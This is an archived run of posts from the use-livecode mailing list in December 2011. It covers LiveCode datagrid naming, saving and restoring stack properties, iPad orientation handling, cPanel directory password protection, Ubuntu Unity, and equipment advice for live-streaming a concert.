Hmmm... Bob On Dec 27, 2011, at 4:41 PM, Pete wrote: > Actually, now I see that there are around a dozen or so groups within the > datagrid structure whose name starts with dg. Definitely a good idea to > have naming conventions but dg might not be the best choice for datagrids, > although it is the obvious one. > > On Tue, Dec 27, 2011 at 4:34 PM, Pete wrote: > >> Just don;t call them dgColumn! >> >> >> On Tue, Dec 27, 2011 at 4:18 PM, Bob Sneidar wrote: >> >>> Yet another great argument for naming conventions! All my datagrids start >>> with dg. >>> >>> Bob From mwieder at ahsoftware.net Tue Dec 27 19:51:38 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 27 Dec 2011 16:51:38 -0800 Subject: Strange Datagrid Behavior In-Reply-To: References: <14282B3A-46FA-4F9C-B664-48BC46FD5E7C@twft.com> Message-ID: <66942577781.20111227165138@ahsoftware.net> Bob- Tuesday, December 27, 2011, 4:18:10 PM, you wrote: > Yet another great argument for naming conventions! Actually I think this a great argument for namespaces. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Tue Dec 27 20:04:59 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 27 Dec 2011 17:04:59 -0800 Subject: OT Password protection of RR server? In-Reply-To: <62A7C0BC-F908-4C17-B3D9-829C0DF36092@sbcglobal.net> References: <62A7C0BC-F908-4C17-B3D9-829C0DF36092@sbcglobal.net> Message-ID: <65943378687.20111227170459@ahsoftware.net> Jim- Tuesday, December 27, 2011, 11:03:52 AM, you wrote: > I would like to password protect a page. Is there anything about > the RR server that affects how that should be done? As Matthias said, log on to on-rev's cPanel, then scroll down the page to the Security section and click on Password Protect Directories. You'll probably want to click on the public_html icon (not the text) to open it and then navigate your way down to the folder you want to protect. When you finally find the right one, click on its text (not its icon), then place a check in the checkbox to verify that you want to protect it and (optionally) set a name for the directory. Then enter a username and password (both are necessary to unlock the directory) and click Add/modify authorized user. You're done unless you want to add more user/password pairs. -- -Mark Wieder mwieder at ahsoftware.net From davidocoker at gmail.com Tue Dec 27 21:08:55 2011 From: davidocoker at gmail.com (David C.) Date: Tue, 27 Dec 2011 20:08:55 -0600 Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: <4EFA2C05.4050103@fourthworld.com> References: <4EFA2C05.4050103@fourthworld.com> Message-ID: On Tue, Dec 27, 2011 at 2:35 PM, Richard Gaskin wrote: > > In terms of design, it's almost as big a departure from earlier versions as > OS X is from Mac OS 9. ?And as with my Mac experience, the transition was a > bit jarring at first, and I initially complained about not being as > productive. ?But with both OS X and Unity, the more time I spend with the > new system the more I like it. Richard, How would you rate your experience/satisfaction level so far, as it applies to actual LC development using Unity? I have to admit that I've tried Unity 2-3 times now going back to the original RC from Ubuntu and so far I just don't much care for it... although I'm downloading the latest to take for a test spin as I type this. I've been a fan of Mint for several years now, but already seriously question how well the "Mate" scenario will work out. I'm still trying to convince myself that at the age of 55 years, I've not already gotten so old that I cannot easily adapt to newer technology, whatever that may be. Unfortunately, Unity has just about caused me to throw in the towel with Gnome. Best regards, David C. From keith at gulfbreezeortholab.com Wed Dec 28 03:38:49 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Wed, 28 Dec 2011 02:38:49 -0600 Subject: Sample stack demonstrating how to obtain all properties and custom properties of a stack? Message-ID: <60FE888DD6D14CAE89E337953730CB66@KeithPC> Hi All, Does anyone know of a sample stack demonstrating how to pull all of the properties and custom properties out of a stack, putting them into a file, and then demonstrating how to put the file of data back into the stack (or into another copy or clone of the original stack)? Thanks, - Boo From bobs at twft.com Wed Dec 28 11:31:54 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 28 Dec 2011 08:31:54 -0800 Subject: Sample stack demonstrating how to obtain all properties and custom properties of a stack? In-Reply-To: <60FE888DD6D14CAE89E337953730CB66@KeithPC> References: <60FE888DD6D14CAE89E337953730CB66@KeithPC> Message-ID: Get the customProperties of a stack. It is an array. Get the properties of a stack. It is (almost) all of the properties of the stack as an array. at this point the easiest thing to do to save them as a file on disk is to arrayEncode() them and write them to a low level file. Not sure if you need to base64 encode them too. Only way to tell is to try. See open file, read from file, and write to file in the dictionary. Putting the standard properties back is a bit trickier though. I don't think you can set the properties of a stack. I think you have to loop through them. repeat for each element pProp in theStackProps;set the pProp of this stack to theStackProps[pProp] off the top of my head. You may however be able to just set the customProperties of a stack. Bob On Dec 28, 2011, at 12:38 AM, Keith (Gulf Breeze Ortho Lab) wrote: > Hi All, > > Does anyone know of a sample stack demonstrating how to pull all of the properties and custom properties out of a stack, putting them into a file, and then demonstrating how to put the file of data back into the stack (or into another copy or clone of the original stack)? > > Thanks, > > - Boo > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dan at clearvisiontech.com Wed Dec 28 12:01:16 2011 From: dan at clearvisiontech.com (Dan Friedman) Date: Wed, 28 Dec 2011 09:01:16 -0800 Subject: Initial Orientation In-Reply-To: References: Message-ID: Greetings! I have a iPad project I am working on... in the resizeStack routine, I am resizing all the controls on all the cards so when they rotate the iPad, everything will update and look pretty. This is working great! My problem is when the app launches, apparently no "resizeStack" message is sent. So, if the user has the devise rotated differently that when I saved the stack, the app appears in the wrong rotation. If you then rotate the device, everything updates correctly. I have put resizeStack messages in preOpenStack and openStack. I also tried a "send "resizeStack" to this stack in 0 ticks" which did not fix the problem. If I send it in 1 second, it works but yuck! I am sure there is a "proper" way to handle this situation... anyone know how to deal with this issue? Thank you in advance! -Dan From ambassador at fourthworld.com Wed Dec 28 12:04:28 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 28 Dec 2011 09:04:28 -0800 Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: References: Message-ID: <4EFB4C1C.2080900@fourthworld.com> David C. wrote: > On Tue, Dec 27, 2011 at 2:35 PM, Richard Gaskin > wrote: >> >> In terms of design, it's almost as big a departure from earlier versions as >> OS X is from Mac OS 9. And as with my Mac experience, the transition was a >> bit jarring at first, and I initially complained about not being as >> productive. But with both OS X and Unity, the more time I spend with the >> new system the more I like it. > > Richard, > How would you rate your experience/satisfaction level so far, as it > applies to actual LC development using Unity? Pretty much as with any other distro I've worked with: under-the-hood operations (string manipulation, calculations) perform on par with other platforms, but some aspects of text rendering are noticeably slower. And of course there's the lack of feature parity with other platforms RunRev supports, like missing externals, video playback as weak as on Windows, weak drag-and-drop support, and a few others. These weaknesses in the Linux engine are especially ironic since MetaCard was born on Unix and historically maintained good parity as new platforms were added, and moreover the Linux engine costs twice as much as other platforms while delivering less. :\ That said, overall few of these affect my work (except video playback, which also also hinders opportunities for my Windows apps), so for most projects I'm able to do what I need to do on whatever platform I happen to be using that day. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From coiin at verizon.net Wed Dec 28 12:25:44 2011 From: coiin at verizon.net (Colin Holgate) Date: Wed, 28 Dec 2011 12:25:44 -0500 Subject: Initial Orientation In-Reply-To: References: Message-ID: <9D49A051-3FBE-4614-B54A-270491AC0B32@verizon.net> What size is your card, and what size is the screen? If they are the same, does anything change if you make the card size something different? From dan at clearvisiontech.com Wed Dec 28 12:39:00 2011 From: dan at clearvisiontech.com (Dan Friedman) Date: Wed, 28 Dec 2011 09:39:00 -0800 Subject: Initial Orientation In-Reply-To: References: Message-ID: <089CD553-01D0-4D61-903F-AFD84E022B0F@clearvisiontech.com> Colin, Your question led me straight to the answer! I added this to my preOpenStack handler: put the screenRect into tRect add 20 to item 2 of tRect --to account for the status bar set the rect of this stack to tRect Now it works perfectly! Thank you!! -Dan > What size is your card, and what size is the screen? If they are the same, does anything change if you make the card size something different? From mwieder at ahsoftware.net Wed Dec 28 13:16:39 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 28 Dec 2011 10:16:39 -0800 Subject: Sample stack demonstrating how to obtain all properties and custom properties of a stack? In-Reply-To: References: <60FE888DD6D14CAE89E337953730CB66@KeithPC> Message-ID: <671005279578.20111228101639@ahsoftware.net> Bob- Wednesday, December 28, 2011, 8:31:54 AM, you wrote: > Putting the standard properties back is a bit trickier though. I > don't think you can set the properties of a stack. Most of them you can. Some are read-only. If you wrap your code below in a try-catch construct you can avoid the errors. > I think you have > to loop through them. repeat for each element pProp in > theStackProps;set the pProp of this stack to theStackProps[pProp] > off the top of my head. Oh - and there are a few (can't remember off the top of my own head) that have to be done in the proper order, particularly the ones that deal with height/width/right/left/top/bottom, etc. -- -Mark Wieder mwieder at ahsoftware.net From pete at mollysrevenge.com Wed Dec 28 14:54:01 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 28 Dec 2011 11:54:01 -0800 Subject: [OT] LIve Video Streaming Message-ID: I'm involved in a project to stream a music concert live over the internet. I've used streaming services before (not the least livecode tv with ustream) but this is a bit different. The main difference is that I need to use an external camera, not a built in one. I just don;t think the image quality will be good enough to use a typical webcam. The issue that arises is finding a video camera that is capable of sending what it's seeing in real time to a laptop via Firewire or USB, whether or not it is recording it to whatever medium it uses. Most of the streaming services have camera recommendations, but they are all miniDV cameras and, as far as I can tell, that technology is old enough that nobody makes cameras that use it any longer. I know it's a long shot but does anyone have any knowledge in this area? Thanks, -- Pete Molly's Revenge From pmbrig at gmail.com Wed Dec 28 15:00:09 2011 From: pmbrig at gmail.com (Peter M. Brigham, MD) Date: Wed, 28 Dec 2011 15:00:09 -0500 Subject: matchChunk question In-Reply-To: <1325025343411-4238428.post@n4.nabble.com> References: <1325021199922-4238281.post@n4.nabble.com> <1325025343411-4238428.post@n4.nabble.com> Message-ID: Any reason not to just use put numtochar(8) into tempDelim replace <4-char-sequence> with tempDelim in tString set the itemdelimiter to tempDelim ? -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On Dec 27, 2011, at 5:35 PM, Mark Smith wrote: > Thanks, worked perfectly. changing the expression to "(\" & quote & "v" & "\" > & quote & ":)" resulted in true, 422, 425 in the output. What I am > attempting to do is define a rather complicated item delimiter, in this case > made up of the 4 char sequence "v": If I can define where this occurs I can > break the input up into chunks. > > Best, > > -- Mark > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/matchChunk-question-tp4238281p4238428.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Wed Dec 28 15:24:35 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 28 Dec 2011 12:24:35 -0800 Subject: SoCal LUG meeting: Jan 5 Message-ID: <4EFB7B03.6050109@fourthworld.com> Barring any city-wide declarations of a state of emergency, we're all set for our next LiveCode User Group meeting next week in Pasadena - details in the forum: -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From bobs at twft.com Wed Dec 28 16:17:28 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 28 Dec 2011 13:17:28 -0800 Subject: Sample stack demonstrating how to obtain all properties and custom properties of a stack? In-Reply-To: <671005279578.20111228101639@ahsoftware.net> References: <60FE888DD6D14CAE89E337953730CB66@KeithPC> <671005279578.20111228101639@ahsoftware.net> Message-ID: <5B7D9D6D-4B0D-4102-9465-1C53E070F155@twft.com> I meant all at once as in set the properties of this stack to theSavedProperties Bob On Dec 28, 2011, at 10:16 AM, Mark Wieder wrote: > Bob- > > Wednesday, December 28, 2011, 8:31:54 AM, you wrote: > >> Putting the standard properties back is a bit trickier though. I >> don't think you can set the properties of a stack. From stephenREVOLUTION2 at barncard.com Wed Dec 28 16:34:49 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 28 Dec 2011 13:34:49 -0800 Subject: [OT] LIve Video Streaming In-Reply-To: References: Message-ID: Logitech has a great new webcam for about 100 bucks. http://www.logitech.com/en-us/webcam-communications/webcams/devices/hd-pro-webcam-c910 1080p and so sharp it hurts. Get the audio off of the PA separately, however. Distant mics always suck for music, no matter the quality. However, it has no zoom and no mount for a tripod. MAY I SUGGEST though, for the comfort of your viewers and the quality of the presentation that you plan for a video input through firewire, using a camera you can move around, and even switch views using multiple cameras and hardware or software video switchers. like BOINXTV (I use it and like it) You can serve or bounce to your streaming provider using quicktime Broadcaster (free), although the provider often supplies that part. Expecting viewers to sit though a long musical presentation with no shot variety is really a lot to ask, and if the camera doesn't move it's like a security camera. So if you have just one camera, dedicate a dedicated person that has no other task but to point it appropriately, with variety. Keep the camera moving. That's why you see so many "shakey cam" shots in tv shows -- it adds an air of verite' to the shot. They've even built special mounts for the heavy Panavison cameras to mimic the unsteady movements of cheap cameras. Speaking of cameras, there are thousands of great DV video cameras out there that were used once and then put in the closet after the wedding. They show up on EBAY and craigslist all the time. Look for ones that have the original unused tapes and accessories included, and spend about $200, and even though it's standard definition (720x680), the images are clean and the cameras have decent lenses, with zoom and focus. THIS IS MY FAVORITE THE SONY DCR-TRV17 I have owned 6 of these. Eventually, the transports break down, but the camera, viewfinder and monitor remain intact for much longer. The video signal can then be routed through firewire to a computer. here's a more pricey onewith 3CCDs and a great lens. But good god this thing went for thousands not too long ago. Because of the lens, the image will still be better than most of the cheap HD solid state cams, and more appropriate for shooting performances. good luck... On 28 December 2011 11:54, Pete wrote: > I'm involved in a project to stream a music concert live over the internet. > I've used streaming services before (not the least livecode tv with > ustream) but this is a bit different. > > The main difference is that I need to use an external camera, not a built > in one. I just don;t think the image quality will be good enough to use a > typical webcam. > > The issue that arises is finding a video camera that is capable of sending > what it's seeing in real time to a laptop via Firewire or USB, whether or > not it is recording it to whatever medium it uses. Most of the streaming > services have camera recommendations, but they are all miniDV cameras and, > as far as I can tell, that technology is old enough that nobody makes > cameras that use it any longer. > > I know it's a long shot but does anyone have any knowledge in this area? > > Thanks, > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From stephenREVOLUTION2 at barncard.com Wed Dec 28 16:36:52 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 28 Dec 2011 13:36:52 -0800 Subject: matchChunk question In-Reply-To: References: <1325021199922-4238281.post@n4.nabble.com> <1325025343411-4238428.post@n4.nabble.com> Message-ID: delimiters have to be single characters, I believe. Not tested but I think the idea failed on me once. On 28 December 2011 12:00, Peter M. Brigham, MD wrote: > Any reason not to just use > > put numtochar(8) into tempDelim > replace <4-char-sequence> with tempDelim in tString > set the itemdelimiter to tempDelim > > ? > > -- Peter > > Peter M. Brigham > pmbrig at gmail.com > http://home.comcast.net/~pmbrig > > On Dec 27, 2011, at 5:35 PM, Mark Smith wrote: > > > Thanks, worked perfectly. changing the expression to "(\" & quote & "v" > & "\" > > & quote & ":)" resulted in true, 422, 425 in the output. What I am > > attempting to do is define a rather complicated item delimiter, in this > case > > made up of the 4 char sequence "v": If I can define where this occurs I > can > > break the input up into chunks. > > > > Best, > > > > -- Mark > > > > -- > > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/matchChunk-question-tp4238281p4238428.html > > Sent from the Revolution - User mailing list archive at Nabble.com. > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From stephenREVOLUTION2 at barncard.com Wed Dec 28 16:37:39 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 28 Dec 2011 13:37:39 -0800 Subject: matchChunk question In-Reply-To: References: <1325021199922-4238281.post@n4.nabble.com> <1325025343411-4238428.post@n4.nabble.com> Message-ID: cancel that. Read too quickly. On 28 December 2011 13:36, stephen barncard wrote: > delimiters have to be single characters, I believe. Not tested but I > think the idea failed on me once. > > Stephen Barncard > San Francisco Ca. USA more about sqb From pete at mollysrevenge.com Wed Dec 28 16:49:45 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 28 Dec 2011 13:49:45 -0800 Subject: Datagrid Column Format Message-ID: Is that any way to use a different format for a column in different rows in a datagrid. For example, sometimes I want plain text in the column, other times an option menu, etc depending the value of another column in the row. -- Pete Molly's Revenge From jhurley0305 at sbcglobal.net Wed Dec 28 16:51:06 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Wed, 28 Dec 2011 13:51:06 -0800 Subject: OT Password protection of RR server? In-Reply-To: References: Message-ID: <9996D072-8836-46BD-A0B2-E25F9E97EDCB@sbcglobal.net> Mark, Thank you going into the details. They will be helpful when Heather returns information about my user name and password.. It has been months since I have used cPanel. Wish me luck. Jim Hurley > > Message: 24 > Date: Tue, 27 Dec 2011 17:04:59 -0800 > From: Mark Wieder > To: How to use LiveCode > Subject: As Matthias said, log on to on-rev's cPanel, then scroll down the page > to the Security section and click on Password Protect Directories. > You'll probably want to click on the public_html icon (not the text) > to open it and then navigate your way down to the folder you want to > protect. > > When you finally find the right one, click on its text (not its icon), > then place a check in the checkbox to verify that you want to protect > it and (optionally) set a name for the directory. Then enter a > username and password (both are necessary to unlock the directory) and > click Add/modify authorized user. You're done unless you want to add > more user/password pairs. > > -- > -Mark Wieder > mwieder at ahsoftware.net > Message-ID: <65943378687.20111227170459 at ahsoftware.net> > Content-Type: text/plain; charset=us-ascii > > Jim- > > Tuesday, December 27, 2011, 11:03:52 AM, you wrote: > >> I would like to password protect a page. Is there anything about >> the RR server that affects how that should be done? > > As Matthias said, log on to on-rev's cPanel, then scroll down the page > to the Security section and click on Password Protect Directories. > You'll probably want to click on the public_html icon (not the text) > to open it and then navigate your way down to the folder you want to > protect. > > When you finally find the right one, click on its text (not its icon), > then place a check in the checkbox to verify that you want to protect > it and (optionally) set a name for the directory. Then enter a > username and password (both are necessary to unlock the directory) and > click Add/modify authorized user. You're done unless you want to add > more user/password pairs. > > -- > -Mark Wieder > mwieder at ahsoftware.net > From stephenREVOLUTION2 at barncard.com Wed Dec 28 16:51:25 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 28 Dec 2011 13:51:25 -0800 Subject: Sample stack demonstrating how to obtain all properties and custom properties of a stack? In-Reply-To: <5B7D9D6D-4B0D-4102-9465-1C53E070F155@twft.com> References: <60FE888DD6D14CAE89E337953730CB66@KeithPC> <671005279578.20111228101639@ahsoftware.net> <5B7D9D6D-4B0D-4102-9465-1C53E070F155@twft.com> Message-ID: well if one were setting all of the properties of a stack, they'd have to be set to another stack. set the properties of stack "b" to the properties of stack "a" Easier to copy the stack.Can all the properties be placed into a variable? I think some props will be left out by design, otherwise objects would blow up. A while ago I experimented with saving complete descriptions of livecode objects as text with some success. It was possible to get most, but not all properties in repeat loops, however I found that the recursive code needed to bury within groups of groups was just too time consuming to be worth it. It was pointless to continue, the packaging I desired was much more easily handled and portable with the Livecode containers. On 28 December 2011 13:17, Bob Sneidar wrote: > I meant all at once as in set the properties of this stack to > theSavedProperties > > Bob > > > On Dec 28, 2011, at 10:16 AM, Mark Wieder wrote: > > > Bob- > > > > Wednesday, December 28, 2011, 8:31:54 AM, you wrote: > > > >> Putting the standard properties back is a bit trickier though. I > >> don't think you can set the properties of a stack. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From todd at geistinteractive.com Wed Dec 28 16:53:05 2011 From: todd at geistinteractive.com (Todd Geist) Date: Wed, 28 Dec 2011 13:53:05 -0800 Subject: curious about weblets Message-ID: I am trying some very basic stuff with weblets. I can't seem to open other Stacks after the WebLet. Or they aren't coming to the front? Not sure? I don't think they are being found. How does one incorporate other stacks into a webLet? Is there any info anywhere on the nuances of WebLet? Thanks Todd -- Todd Geist (805) 419-9382 From mwieder at ahsoftware.net Wed Dec 28 18:17:40 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 28 Dec 2011 15:17:40 -0800 Subject: OT Password protection of RR server? In-Reply-To: <9996D072-8836-46BD-A0B2-E25F9E97EDCB@sbcglobal.net> References: <9996D072-8836-46BD-A0B2-E25F9E97EDCB@sbcglobal.net> Message-ID: <1191023339984.20111228151740@ahsoftware.net> Jim- Wednesday, December 28, 2011, 1:51:06 PM, you wrote: > Thank you going into the details. They will be helpful when > Heather returns information about my user name and password.. Well, the username/password thing is the hard part. After that it really is pretty simple to do. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Wed Dec 28 18:32:01 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 28 Dec 2011 15:32:01 -0800 Subject: [OT] LIve Video Streaming In-Reply-To: References: Message-ID: <1441024201015.20111228153201@ahsoftware.net> Pete- Wednesday, December 28, 2011, 11:54:01 AM, you wrote: > **not the least** livecode tv with ustream ...what - you've found something worse than ustream? That's scary. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Wed Dec 28 18:39:55 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 28 Dec 2011 15:39:55 -0800 Subject: [OT] LIve Video Streaming In-Reply-To: References: Message-ID: <1921024675437.20111228153955@ahsoftware.net> Pete- Wednesday, December 28, 2011, 1:34:49 PM, Stephen wrote: > Get the audio off of the PA separately, however. Distant mics always suck > for music, no matter the quality. I'll defer to Stephen's comments here (and I'm off to check out that webcam) but I'll add my vote to this. If you can use the soundboard feed (and especially if you can optionally use a different mix from the house mix) you'll have a much happier web audience. You can add an audience mic to the mix for the ambience if desired. -- -Mark Wieder mwieder at ahsoftware.net From stephenREVOLUTION2 at barncard.com Wed Dec 28 18:51:58 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 28 Dec 2011 15:51:58 -0800 Subject: [OT] LIve Video Streaming In-Reply-To: <1921024675437.20111228153955@ahsoftware.net> References: <1921024675437.20111228153955@ahsoftware.net> Message-ID: whatever service that streamed the last conference (San Jose) had excellent up time and quality. I could blow up the stream to a 23" screen and it was like being there. You know what a critic I am about this stuff. On 28 December 2011 15:39, Mark Wieder wrote: > Pete- > > Wednesday, December 28, 2011, 1:34:49 PM, Stephen wrote: > > > Get the audio off of the PA separately, however. Distant mics always suck > > for music, no matter the quality. > > I'll defer to Stephen's comments here (and I'm off to check out that > webcam) but I'll add my vote to this. If you can use the soundboard > feed (and especially if you can optionally use a different mix from > the house mix) you'll have a much happier web audience. You can add an > audience mic to the mix for the ambience if desired. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From pete at mollysrevenge.com Wed Dec 28 18:55:04 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 28 Dec 2011 15:55:04 -0800 Subject: [OT] LIve Video Streaming In-Reply-To: <1441024201015.20111228153201@ahsoftware.net> References: <1441024201015.20111228153201@ahsoftware.net> Message-ID: Well, I haven't actually tried them yet! On Wed, Dec 28, 2011 at 3:32 PM, Mark Wieder wrote: > Pete- > > Wednesday, December 28, 2011, 11:54:01 AM, you wrote: > > > **not the least** livecode tv with ustream > > ...what - you've found something worse than ustream? That's scary. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Wed Dec 28 19:02:26 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 28 Dec 2011 16:02:26 -0800 Subject: [OT] LIve Video Streaming In-Reply-To: References: Message-ID: Ho Stepehn, Thanks a lot for all this info. Unfortunately, my budget isn;t going to allow me to do some for the things you mentioned, much as I would like to have multiple cameras going. Since I sent the original post, I discovered that a friend of mine has a Canon XHA1S HDV camera which I am almost certain will do the job. I hope so because it looks like a very high end camera. Thanks for the tip on changing camera angles, that makes perfect sense. I think I can find someone to operate the camera during the concert, although it will be tethered to a laptop with a firewire cable so probably not much movement available. But at least, he will be able to do some zooming in/out and left/right panning to make things a little less boring. Pete On Wed, Dec 28, 2011 at 1:34 PM, stephen barncard < stephenREVOLUTION2 at barncard.com> wrote: > Logitech has a great new webcam for about 100 bucks. > > > http://www.logitech.com/en-us/webcam-communications/webcams/devices/hd-pro-webcam-c910 > > 1080p and so sharp it hurts. > > Get the audio off of the PA separately, however. Distant mics always suck > for music, no matter the quality. > > However, it has no zoom and no mount for a tripod. > > MAY I SUGGEST though, for the comfort of your viewers and the quality of > the presentation that you plan for a video input through firewire, using a > camera you can move around, and even switch views using multiple cameras > and hardware or software video switchers. like > BOINXTV > (I use it and like it) > > You can serve or bounce to your streaming provider using quicktime > Broadcaster (free), although the provider often supplies that part. > > Expecting viewers to sit though a long musical presentation with no shot > variety is really a lot to ask, and if the camera doesn't move it's like a > security camera. So if you have just one camera, dedicate a dedicated > person that has no other task but to point it appropriately, with variety. > Keep the camera moving. That's why you see so many "shakey cam" shots in tv > shows -- it adds an air of verite' to the shot. They've even built special > mounts for the heavy Panavison cameras to mimic the unsteady movements of > cheap cameras. > > > > Speaking of cameras, there are thousands of great DV video cameras out > there that were used once and then put in the closet after the wedding. > They show up on EBAY and craigslist all the time. Look for ones that have > the original unused tapes and accessories included, and spend about $200, > and even though it's standard definition (720x680), the images are clean > and the cameras have decent lenses, with zoom and focus. > > THIS IS MY FAVORITE THE SONY > DCR-TRV17< > http://www.ebay.com/ctg/Sony-Handycam-DCR-TRV17-Camcorder-Black-/100040858?_dmpt=Camcorders_Professional_Video_Cameras&_pcategid=11724&_pcatid=804&_refkw=sony+dcr+trv17&_trkparms=65%253A12%257C66%253A2%257C39%253A1%257C72%253A5848&_trksid=p3286.c0.m14 > > > > I have owned 6 of these. Eventually, the transports break down, but the > camera, viewfinder and monitor remain intact for much longer. The video > signal can then be routed through firewire to a computer. > > here's a more pricey > one< > http://www.ebay.com/itm/Sony-3CCD-DSR-PDX10-DVCAM-Pro-Mini-DV-Camcorder-/130613883524?pt=Camcorders_Professional_Video_Cameras&hash=item1e6931b284#ht_4561wt_835 > >with > 3CCDs and a great lens. But good god this thing went for thousands > not too long ago. Because of the lens, the image will still be better than > most of the cheap HD solid state cams, and more appropriate for shooting > performances. > > good luck... > > > On 28 December 2011 11:54, Pete wrote: > > > I'm involved in a project to stream a music concert live over the > internet. > > I've used streaming services before (not the least livecode tv with > > ustream) but this is a bit different. > > > > The main difference is that I need to use an external camera, not a built > > in one. I just don;t think the image quality will be good enough to use > a > > typical webcam. > > > > The issue that arises is finding a video camera that is capable of > sending > > what it's seeing in real time to a laptop via Firewire or USB, whether or > > not it is recording it to whatever medium it uses. Most of the streaming > > services have camera recommendations, but they are all miniDV cameras > and, > > as far as I can tell, that technology is old enough that nobody makes > > cameras that use it any longer. > > > > I know it's a long shot but does anyone have any knowledge in this area? > > > > Thanks, > > > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Wed Dec 28 19:08:08 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 28 Dec 2011 16:08:08 -0800 Subject: [OT] LIve Video Streaming In-Reply-To: <1921024675437.20111228153955@ahsoftware.net> References: <1921024675437.20111228153955@ahsoftware.net> Message-ID: The problem we've always had with board mixes, especially in smaller venues, is that we have a bagpiper. The pipes are so loud that the sound engineer generally has very little, if any, of them in the mix so when you play back the board mix, they sound like they're not there! Which some might say is a good thing! However, I think the idea of adding some house mics and putting them into the mix that goes to the camera (but not the house mix) will help with that. Depending on the board capabilites, it might also be possible to mix in the bagpipe channel to the camera mix but not the house mix. On Wed, Dec 28, 2011 at 3:39 PM, Mark Wieder wrote: > Pete- > > Wednesday, December 28, 2011, 1:34:49 PM, Stephen wrote: > > > Get the audio off of the PA separately, however. Distant mics always suck > > for music, no matter the quality. > > I'll defer to Stephen's comments here (and I'm off to check out that > webcam) but I'll add my vote to this. If you can use the soundboard > feed (and especially if you can optionally use a different mix from > the house mix) you'll have a much happier web audience. You can add an > audience mic to the mix for the ambience if desired. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From gerry.orkin at gmail.com Wed Dec 28 19:27:53 2011 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Thu, 29 